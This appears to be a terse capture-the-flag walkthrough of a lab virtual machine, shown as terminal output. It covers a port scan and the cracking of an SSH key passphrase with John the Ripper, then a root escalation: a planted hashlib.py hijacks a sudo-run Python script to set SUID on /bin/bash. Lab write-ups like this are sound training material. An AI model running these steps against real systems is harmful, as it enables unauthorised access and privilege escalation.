┌──(root㉿Eecho)-[~] └─# rustscan -a 192.168.100.35 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Port scanning: Because every port has a story to tell.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.35:22 Open 192.168.100.35:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.35 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-15 12:24 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:24 Completed NSE at 12:24, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:24 Completed NSE at 12:24, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:24 Completed NSE at 12:24, 0.00s elapsed Initiating ARP Ping Scan at 12:24 Scanning 192.168.100.35 [1 port] Completed ARP Ping Scan at 12:24, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 12:24 Completed Parallel DNS resolution of 1 host. at 12:24, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 12:24 Scanning 192.168.100.35 [2 ports] Completed SYN Stealth Scan at 12:24, 1.23s elapsed (2 total ports) Initiating Service scan at 12:24 Initiating OS detection (try #1) against 192.168.100.35 Retrying OS detection (try #2) against 192.168.100.35 NSE: Script scanning 192.168.100.35. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:24 Completed NSE at 12:24, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:24 Completed NSE at 12:24, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:24 Completed NSE at 12:24, 0.00s elapsed Nmap scan report for 192.168.100.35 Host is up, received arp-response (0.00060s latency). Scanned at 2026-07-15 12:24:40 CST for 3s
PORT STATE SERVICE REASON VERSION 22/tcp filtered ssh no-response 80/tcp filtered http no-response MAC Address: 08:00:27:B7:D3:F3 (Oracle VirtualBox virtual NIC) Too many fingerprints match this host to give specific OS details TCP/IP fingerprint: SCAN(V=7.99%E=4%D=7/15%OT=%CT=%CU=38121%PV=Y%DS=1%DC=D%G=N%M=080027%TM=6A570B8B%P=x86_64-pc-linux-gnu) SEQ(II=I) U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G) IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 1 hop
TRACEROUTE HOP RTT ADDRESS 1 0.60 ms 192.168.100.35
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:24 Completed NSE at 12:24, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:24 Completed NSE at 12:24, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:24 Completed NSE at 12:24, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 4.27 seconds Raw packets sent: 35 (2.952KB) | Rcvd: 7 (1.392KB)
┌──(root㉿Eecho)-[/tmp/aaaa] └─# ssh2john id_rsa > rsa_hash.txt ┌──(root㉿Eecho)-[/tmp/aaaa] └─# john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 24 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status bowwow (id_rsa) 1g 0:00:00:01 DONE (2026-07-15 13:15) 0.6097g/s 234.1p/s 234.1c/s 234.1C/s alyssa..michael1 Use the "--show" option to display all of the cracked passwords reliably Session completed.
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Apr 2 10:32:50 2024 from 192.168.1.41 james@Bridgenton:~$ id uid=1000(james) gid=1000(james) grupos=1000(james),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev) james@Bridgenton:~$
james -> root
1 2 3 4 5 6
james@Bridgenton:~$ sudo -l Matching Defaults entries for james on Bridgenton: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User james may run the following commands on Bridgenton: (root) NOPASSWD: /usr/bin/python3 /opt/example.py
james@Bridgenton:/opt$ echo -e "import os\nos.system('chmod +s /bin/bash')" > hashlib.py james@Bridgenton:/opt$ cat hashlib.py import os os.system('chmod +s /bin/bash') james@Bridgenton:/opt$ ls example.py hashlib.py james@Bridgenton:/opt$ sudo -l Matching Defaults entries for james on Bridgenton: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User james may run the following commands on Bridgenton: (root) NOPASSWD: /usr/bin/python3 /opt/example.py james@Bridgenton:/opt$ sudo /usr/bin/python3 /opt/example.py Traceback (most recent call last): File "/opt/example.py", line 9, in <module> print(hashlib.md5(cadena.encode()).hexdigest()) ^^^^^^^^^^^ AttributeError: module 'hashlib' has no attribute 'md5' james@Bridgenton:/opt$ ls -al /bin/bash -rwsr-sr-x 1 root root 1265648 abr 23 2023 /bin/bash james@Bridgenton:/opt$ /bin/bash -p bash-5.2# id uid=1000(james) gid=1000(james) euid=0(root) egid=0(root) grupos=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1000(james) bash-5.2#
